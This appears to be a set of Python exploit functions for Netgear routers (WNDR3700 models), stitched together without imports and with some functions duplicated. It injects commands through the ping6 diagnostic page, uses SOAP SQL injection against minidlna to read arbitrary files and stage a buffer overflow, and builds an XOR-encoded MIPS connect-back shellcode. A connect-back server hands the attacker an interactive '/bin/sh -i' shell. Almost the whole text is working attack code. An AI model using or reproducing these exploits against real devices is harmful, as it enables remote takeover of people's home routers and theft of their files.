def inject_command(command,target,port=80,logger=None,https=False): if not logger: logger=Logging() client=HttpClient() protocol="http" if https: protocol="https" url="%s://%s:%d/ping6_traceroute6_hidden_info.htm" % (protocol,target,port) logger.LOG_INFO("Requesting ping6_traceroute6_hidden_info.htm in order to obtain timestamp.") resp=client.send(url) timestamp=extract_timestamp(resp) if timestamp: logger.LOG_DEBUG("Got timestamp: %s" % timestamp) else: logger.LOG_WARN("Couldn't extract timestamp from response.") raise Exception() url="%s://%s:%d/apply.cgi?/ping6_traceroute6_hidden_info.htm" % (protocol,target,port) url+="%20timestamp="+timestamp logger.LOG_DEBUG("URL: %s" % url) post_data={} post_data["submit_flag"]="ping6" post_data["ping6_text"]=command post_data["traceroute6_text"]="" client.send(url,post_data=post_data,urlencode=True)
def validate_fingerprint(fingerprint_data,logger=None): if not logger: logger=Logging() if fingerprint_data.has_key("Model"): model=fingerprint_data["Model"] logger.LOG_DEBUG("Model: %s" % model) else: logger.LOG_WARN("Couldn't identify model.") return False if not model in KNOWN_MODELS: logger.LOG_WARN("Unknown model: %s" % model) return False if fingerprint_data.has_key("Firmware"): firmware=fingerprint_data["Firmware"] logger.LOG_DEBUG("Firmware: %s" % firmware) else: logger.LOG_WARN("Couldn't indentify firmware.") return False if not firmware in KNOWN_FIRMWARES: logger.LOG_WARN("Unknown firmware version: %s" % firmware) return False return True
def do_overflow(host, overflow, port=8200, logger=None): if not logger: logger = Logging() logger.LOG_DEBUG("Clearing previous overflow from database.") request_object = SoapSetBookmarkDelete(host, port=port, logger=logger) request_object.send_all_requests() logger.LOG_DEBUG("Staging record in DETAILS table.") request_object = SoapSetBookmarkStageDetails(host, port=port, logger=logger) request_object.send_request() logger.LOG_DEBUG("Staging record in OBJECTS table.") request_object = SoapSetBookmarkStageObjects(host, port=port, logger=logger) request_object.send_request() overflow = str(overflow) # logger.LOG_DEBUG("Overflow string: %s" % overflow) request_object = SoapSetBookmarkAppendDLNA_PN(host, overflow, port=port, logger=logger) request_object.send_all_requests() logger.LOG_INFO("Browsing exploit.") request_object = BrowseExploit(host) resp = request_object.send_request()
def __init__(self,image_data,logger=None): """ Params ------ image_data: The actual data of the firmware image this header should describe and be prepended to. logger: Optional. A Bowcaster Logging object. If a logger is not provided, one will be instantiated. """ if not logger: logger=Logging(max_level=Logging.DEBUG) self.logger=logger logger.LOG_DEBUG("Creating ambit header.") self.size=self.HEADER_SIZE logger.LOG_INFO("Calculating checksum of TRX image.") self.trx_image_checksum=self.__checksum(image_data) logger.LOG_DEBUG("Calculated TRX image checksum: 0x%08x" % self.trx_image_checksum) self.trx_image_sz=len(image_data) logger.LOG_INFO("Building header without checksum.") header=self.__build_header() logger.LOG_INFO("Calculating header checksum.") chksum=self.__checksum(header) logger.LOG_DEBUG("Calculated header checksum: 0x%08x" % chksum) logger.LOG_INFO("Building header with checksum.") header=self.__build_header(checksum=chksum) self.header=header
def __init__(self, target_ip, port=8200, albumart_id="31337", logger=None): cls = self.__class__ if not logger: logger = Logging() self.logger = logger logger.LOG_DEBUG( "Creating SOAP request to delete id %s from ALBUM_ART." % albumart_id) inject_details = cls.DELETE_ALBUM_ART % albumart_id inject_string = cls.INJECT_START + inject_details + cls.INJECT_END logger.LOG_DEBUG("Injection string:\n\t%s" % inject_string) super(cls, self).__init__(target_ip, port=port, inject_string=inject_string, logger=logger)
def __init__(self, target_ip, overflow_string, port=8200, detail_id="31337", logger=None): #TODO: break overflow string into parts to separate out single quotes if not logger: logger = Logging() self.logger = logger cls = self.__class__ inject_strings = [] parts = self.make_parts(overflow_string) logger.LOG_DEBUG("split overflow string into %d parts." % (len(parts))) for part in parts: if part == "''": append = cls.APPEND_DLNA_PN_NOQUOTES % (part, detail_id) else: append = cls.APPEND_DLNA_PN % (part, detail_id) inject_string = cls.INJECT_START + append + cls.INJECT_END inject_strings.append(inject_string) self.inject_strings = inject_strings super(self.__class__, self).__init__(target_ip, port=port, inject_string=None, logger=logger)
def do_overflow(host, overflow, port=8200, logger=None): if not logger: logger = Logging() request_object = SoapSetBookmarkDelete(host, port=port, logger=logger) request_object.send_all_requests() request_object = SoapSetBookmarkStageDetails(host, port=port, logger=logger) request_object.send_request() request_object = SoapSetBookmarkStageObjects(host, port=port, logger=logger) request_object.send_request() overflow = str(overflow) logger.LOG_DEBUG("Overflow string: %s" % overflow) request_object = SoapSetBookmarkAppendDLNA_PN(host, overflow, port=port) request_object.send_all_requests() logger.LOG_INFO("Browsing exploit.") request_object = BrowseExploit(host) resp = request_object.send_request()
def relock_target(target,port=80,logger=None,https=False): if not logger: logger=Logging() protocol="http" if https: protocol="https" if not is_unlocked(target,port=port,https=https): logger.LOG_INFO("Target is already locked!") return client=HttpClient() url="%s://%s:%d/BRS_success.html" %(protocol,target,port) logger.LOG_INFO("Requesting BRS_success.html in order to obtain timestamp.") resp=client.send(url) timestamp=extract_timestamp(resp) if not timestamp: logger.LOG_WARN("Couldn't extract timestamp from response.") else: logger.LOG_DEBUG("Timestamp: %s" % timestamp) url=("%s://%s:%d/apply.cgi?/" % (protocol,target,port)+ "BRS_netgear_success.html%20timestamp=" + timestamp) post_data={"submit_flag":"hijack_success", "click_flag":"0"} resp=client.send(url,post_data=post_data,urlencode=True)
def __init__(self, target_ip, path, port=8200, albumart_id="31337", logger=None): cls = self.__class__ if not logger: print("%s: creating logger" % cls.__name__) logger = Logging() self.logger = logger logger.LOG_INFO("path to extract: %s" % path) logger.LOG_INFO("Album art id: %s" % albumart_id) inject_details = cls.INSERT_ALBUM_ART % (albumart_id, path) inject_string = cls.INJECT_START inject_string += inject_details inject_string += cls.INJECT_END logger.LOG_DEBUG("Injection string:\n\t%s" % inject_string) self.extraction_url = "http://%s:%d/AlbumArt/%s-1.jpg" % ( target_ip, port, albumart_id) super(self.__class__, self).__init__(target_ip, port=port, inject_string=inject_string, logger=logger)
def parse_options(argv,logger=None): if not logger: logger=Logging() opts,args=getopt.getopt(argv[1:],'t:c:F:f:',["target=","connectback_ip=","file=","find_offset="]) options={} for o, a in opts: if o in ("-t","--target"): logger.LOG_DEBUG("got target: %s" % a) options["target"]=a elif o in ("-c","connectback_ip"): logger.LOG_DEBUG("got connect-back IP: %s" % a) options["connectback_ip"]=a elif o in ("-F","--file"): logger.LOG_DEBUG("got output file: %s" % a) options["overflow_file"]=a elif o in ("-f","--find_offset"): logger.LOG_DEBUG("got find value: %s" % a) options["find_string"]=a else: logger.LOG_WARN("Got unhandled option: %s" % o) sys.exit(1) return options
def main(input_files, output_file, find_str=None): logger = Logging(max_level=Logging.DEBUG) logger.LOG_DEBUG("Building firmware from input files: %s" % str(input_files)) fwimage = FirmwareImage(input_files) if find_str: find = find_str if find_str.startswith("0x"): find = int(find_str, 0) logger.LOG_DEBUG("Finding offset of 0x%08x" % find) else: logger.LOG_DEBUG("Finding offset of %s" % find) offset = fwimage.find_offset(find) logger.LOG_INFO("Offset: %s" % offset) else: logger.LOG_INFO("Writing firmware to %s\n" % output_file) out = open(output_file, "wb") out.write(str(fwimage)) out.close()
def do_verification(host, port=8200, logger=None): if not logger: logger = Logging() logger.LOG_DEBUG( "Extracting minidlna binary for pre-exploit verification.") data = albumart_extract(host, "/usr/sbin/minidlna.exe", logger=logger) verifier = MinidlnaVerifier(data) logger.LOG_INFO("MD5 of minidlna binary: %s" % verifier.hexdigest) if verifier.versions: logger.LOG_INFO("\tFirmware version: %s\n\tminidlna version: %s" % (verifier.versions[0], verifier.versions[1])) return True else: logger.LOG_WARN("Minidlna binary did not match known hash.") return False
def parse_options(argv, logger=None): if not logger: logger = Logging() opts, args = getopt.getopt(argv[1:], 'ht:p:c:e:f:F:', [ "help", "target=", "port=", "connectback_ip=", "extract=", "find_offset=", "file=" ]) options = {} for o, a in opts: if o in ("-h", "--help"): usage(0) if o in ("-t", "--target"): logger.LOG_DEBUG("got target: %s" % a) if options.has_key("find_string"): print("Cannot specify remote target with -f.") usage(1) options["target"] = a elif o in ("-p", "--port"): logger.LOG_DEBUG("Got port: %s" % a) if options.has_key("find_string"): print("Cannot specify remote port with -f.") usage(1) options["port"] = int(port) elif o in ("-c", "--connectback_ip"): logger.LOG_DEBUG("got connect-back IP: %s" % a) if options.has_key("extract"): print("Cannot specify connect-back IP with -e.") usage(1) options["connectback_ip"] = a elif o in ("-e", "--extract"): logger.LOG_DEBUG("got extract: %s" % a) if options.has_key("connectback_ip") or options.has_key( "find_offset"): print("Cannot specify extraction with -f or -c.") usage(1) options["extract"] = a elif o in ("-F", "--file"): logger.LOG_DEBUG("Got outfile: %s" % a) if options.has_key("connectback_ip") or options.has_key( "find_offset"): print("Cannot specify extraction with -f or -c.") usage(1) options["outfile"] = a elif o in ("-f", "--find_offset"): logger.LOG_DEBUG("got find value: %s" % a) if options.has_key("extract") or options.has_key("target"): print("Cannot specify -f with -t or -e.") usage(1) options["find_string"] = a else: logger.LOG_WARN("Got unknown option: %s" % o) usage(1) return options
def __init__(self,image_data,logger=None): """ Params ------ image_data: The actual data of the firmware image this header should describe and be prepended to. logger: Optional. A Bowcaster Logging object. If a logger is not provided, one will be instantiated. """ if not logger: logger=Logging(max_level=Logging.DEBUG) self.logger=logger logger.LOG_DEBUG("Creating ambit header.") self.size=self.HEADER_SIZE header=self.__build_header() self.header=header
def is_unlocked(target,port=80,https=False): logger=Logging() protocol="http" if https: protocol="https" client=HttpClient() url="%s://%s:%d/index.htm" % (protocol,target,port) unlocked = False try: client.send(url) unlocked=True except HTTPError as e: logger.LOG_DEBUG("Got code: %s" % e.code) if e.code == 401: unlocked=False else: raise return unlocked
class WNDR3700v3(object): endianness = LittleEndian overflow_len = 2048 #bad sql bytes and their sqlite escaped equivalents minidlna_badbytes = {'\x20': "x'20'", '\x0d': "x'0d'", '\x2d': "x'2d'"} def __init__(self, callback_ip_address, port, target_ip_address, logger=None): self.logger = logger if port: self.port = port else: self.port = 8080 self.target_ip_address = target_ip_address self.callback_ip_address = callback_ip_address self.offset_modifier = len(target_ip_address) if not self.logger: self.logger = Logging() #"/usr/sbin/telnetd -p 31337" #"/bin/sh -i" self.connectback_server = ConnectbackServer(callback_ip_address, port=port, startcmd="/bin/sh -i") self.endianness = self.__class__.endianness self.overflow_len = self.__class__.overflow_len def scan_for_nulls(self): return self.overflow_data.scan_for_nulls() def chunks(self, chunklen): string = self.overflow_data.overflow_string chunks = [] badchar_replacements = self.minidlna_badbytes while len(string) > 0: newstring = "" for i in range(0, chunklen): if len(string) <= 0: break newstring += string[0] string = string[1:] for k, v in badchar_replacements.items(): if k in newstring: self.logger.LOG_DEBUG("replacing with " + v) newstring = newstring.replace(k, '\"||' + v + '||\"') chunks.append(newstring) return chunks def find(self, find_string): if find_string.startswith('0x'): find_string = struct.pack("<L", int(find_string, 16)) offset = self.overflow_data.find_offset(find_string) if offset > 0: offset += self.offset_modifier return offset
payload = ConnectbackPayload(CALLBACK_IP, LittleEndian) try: encoded_payload = MipsXorEncoder(payload, key=0xecb9dcb4, badchars=badchars) except EncoderException as ee: print ee sys.exit(1) #encoded_payload=MipsUpperAlphaEncoder(payload,LittleEndian,badchars=badchars) SC.string_section(700, encoded_payload.shellcode, description="encoded connect back payload") logger.LOG_DEBUG("length of encoded shellcode, including stub is: %d" % len(encoded_payload.shellcode)) #print encoded_payload.pretty_string() buf = OverflowBuffer(LittleEndian, 1300, SC.section_list) logger.LOG_DEBUG("Length of overflow: %d" % buf.len()) if len(sys.argv) == 2: search_value = sys.argv[1] if search_value.startswith("0x"): value = int(search_value, 16) offset = buf.find_offset(value) if (offset < 0): print "Couldn't find value %s in the overflow buffer." % search_value else: print "Found value %s at\noffset: %d" % (search_value, offset) exit(0)
def main(options, logger=None): outfile = None path = None connectback_ip = None port = None host = None if not logger: logger = Logging() try: port = options["port"] except KeyError: port = 8200 try: connectback_ip = options["connectback_ip"] except KeyError: pass try: host = options["target"] except KeyError: pass try: path = options["extract"] except KeyError: pass if path: try: outfile = options["outfile"] host = options["target"] logger.LOG_DEBUG("main() got path=%s" % path) albumart_extract(host, path, outfile=outfile, logger=logger) exit(0) except KeyError: print( "File extraction requires a remote path, local file, and target IP address." ) usage(1) if connectback_ip: buf = DLNA_Overflow(1536, connectback_ip, logger=logger).buf try: find_str = options["find_string"] logger.LOG_INFO("Finding offset of %s" % find_str) find = find_str if find_str.startswith("0x"): find = int(find_str, 16) offset = buf.find_offset(find) logger.LOG_INFO("Offset: %s" % offset) exit(0) except KeyError: pass if not host: print("Remote exploitation requires a target IP address.") usage(1) else: print( "No file extraction, overflow search string, or remote target was provided." ) usage(1) if not do_verification(host, port=port, logger=logger): exit(1) server = ConnectbackServer(connectback_ip, startcmd="/bin/sh -i") server.serve() try: do_overflow(host, buf, port=port, logger=logger) except Exception as e: server.shutdown() raise e server.wait()
class SoapSqlInjection(object): INJECTION_TAG="INJECTION" OVERFLOW_TAG="OVERFLOW_ID" ID="31337" START_TEXT="1=0); " INSERT_TEXT="INSERT into ALBUM_ART(ID,PATH) VALUES(\'" DELETE_DETAILS=START_TEXT+"DELETE from DETAILS where ID = \'%s\'"+";--" DELETE_OBJECTS=START_TEXT+"DELETE from OBJECTS where OBJECT_ID = \'%s\'"+";--" INSERT_DETAILS=START_TEXT+("INSERT into DETAILS(ID,SIZE,TITLE,ARTIST,TRACK,DLNA_PN,MIME,ALBUM_ART,DISC) "+ "VALUES(\'%s\',\'PWNED\',\'PWNED\',\'PWNED\',"+ "\'PWNED\',\'%s\',\'PWNED\',\'PWNED\',\'PWNED\');--") INSERT_OBJECTS=START_TEXT+("INSERT into OBJECTS(OBJECT_ID,PARENT_ID,CLASS,DETAIL_ID) "+ "VALUES(\'PWNED\',\'PWNED\',\'container\',\'%s\');--") DETAILS_DLNA_PN_APPEND=START_TEXT+("UPDATE DETAILS set DLNA_PN=DLNA_PN||\'%s\' "+ "where ID=\'%s\';--") DELETE_TEXT="DELETE from ALBUM_ART WHERE ID = \'" SEARCH_SOAP_HEADERS={"Host":"127.0.0.1", "SOAPACTION":'"urn:schemas-upnp-org:service:ContentDirectory:1#Search"', "content-type":'text/xml ;charset="utf-8"', "connection":"close"} BROWSE_SOAP_HEADERS={"Host":"127.0.0.1", "SOAPACTION":'"urn:schemas-upnp-org:service:ContentDirectory:1#Browse"', "content-type":'text/xml ;charset="utf-8"', "connection":"close"} INSERT_FINISH_TEXT="\');--" DELETE_FINISH_TEXT="\';--" def __init__(self,host,port="8200",connectback_ip=None,logger=None,action=None,requested_file=None,find=None): self.host=host self.port=port self.requested_file=requested_file self.logger=logger self.album_art_path="http://%s:%s/AlbumArt/%s-1.jpg" % (self.host,self.port,self.__class__.ID) if not self.logger: self.logger=Logging() if action=="overflow": if not connectback_ip: raise Exception("Connect-back IP required to create buffer overflow.") self.overflow=WNDR3700v4_Overflow(connectback_ip).overflow #if we're looking for a value, no need to throw exploit if not find: self.inject_overflow() self.browse_overflow() elif action=="insert": self.inject_album_art() elif action=="delete": self.requested_file=None self.delete_overflow() self.inject_album_art() def string_chunks(self,somestring,chunk_size): parts=[] queue=deque(somestring) part="" while len(queue) > 0: char=queue.popleft() if char in WNDR3700v4_Overflow.SQL_BAD: #SQL escape char="\'||x\'%02x\'||\'" % ord(char) if len(part)+len(char) > chunk_size: parts.append(part) part="" part+=char if len(part) > 0: parts.append(part) return parts def build_insert_injection(self): cls=self.__class__ injection=cls.START_TEXT+cls.INSERT_TEXT+cls.ID+"\',\'"+self.requested_file+cls.INSERT_FINISH_TEXT self.logger.LOG_DEBUG(injection) request=self.build_soap_request(injection) return request def build_delete_injection(self): cls=self.__class__ injection=cls.START_TEXT+cls.DELETE_TEXT+cls.ID+cls.DELETE_FINISH_TEXT self.logger.LOG_DEBUG(injection) request=self.build_soap_request(injection) return request def build_append_injection(self,append_string): cls=self.__class__ injection=cls.DETAILS_DLNA_PN_APPEND % (append_string,cls.ID) self.logger.LOG_DEBUG(injection) request=self.build_soap_request(injection) return request def build_delete_objects_overflow(self): cls=self.__class__ injection=cls.DELETE_OBJECTS % cls.ID self.logger.LOG_DEBUG(injection) request=self.build_soap_request(injection) return request def build_delete_details_overflow(self): cls=self.__class__ injection=cls.DELETE_DETAILS % cls.ID self.logger.LOG_DEBUG(injection) request=self.build_soap_request(injection) return request def build_insert_details_overflow(self,overflow_string): cls=self.__class__ injection=cls.INSERT_DETAILS % (cls.ID,overflow_string) self.logger.LOG_DEBUG(injection) request=self.build_soap_request(injection) return request def build_insert_objects_overflow(self): cls=self.__class__ injection=cls.INSERT_OBJECTS % cls.ID self.logger.LOG_DEBUG(injection) request=self.build_soap_request(injection) return request def build_soap_request(self,search_criteria): cls=self.__class__ request="" dom=parse("./soaprequest_search.xml") for node in dom.getElementsByTagName("SearchCriteria"): for node in node.childNodes: if node.nodeType==node.TEXT_NODE and node.data == cls.INJECTION_TAG: node.data=search_criteria break try: request=dom.toxml() except UnicodeDecodeError: #do it the hacky way if we cant get our overflow data to encode request=open("./soaprequest_search.xml","r").read() request=request.replace(cls.INJECTION_TAG,search_criteria) print request return request def browse_overflow(self): self.logger.LOG_DEBUG("Browsing overflow.") cls=self.__class__ client=HttpClient() URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir") request="" dom=parse("./soaprequest_browse.xml") for node in dom.getElementsByTagName("ObjectID"): for node in node.childNodes: if node.nodeType==node.TEXT_NODE and node.data == cls.OVERFLOW_TAG: node.data="PWNED" break request=dom.toxml() client.send(URL,post_data=request,headers=cls.BROWSE_SOAP_HEADERS,get_resp=False) def delete_overflow(self): cls=self.__class__ client=HttpClient() URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir") request=self.build_delete_objects_overflow() client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS) request=self.build_delete_details_overflow() client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS) def inject_overflow(self): cls=self.__class__ client=HttpClient() URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir") overflow_string=str(self.overflow) self.delete_overflow() parts=self.string_chunks(overflow_string,256) request=self.build_insert_details_overflow(parts[0]) client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS) for part in parts[1:]: request=self.build_append_injection(part) client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS) request=self.build_insert_objects_overflow() client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS) def inject_album_art(self): cls=self.__class__ client=HttpClient() URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir") self.logger.LOG_DEBUG(URL) request=self.build_delete_injection() client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS) if self.requested_file: request=self.build_insert_injection() client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)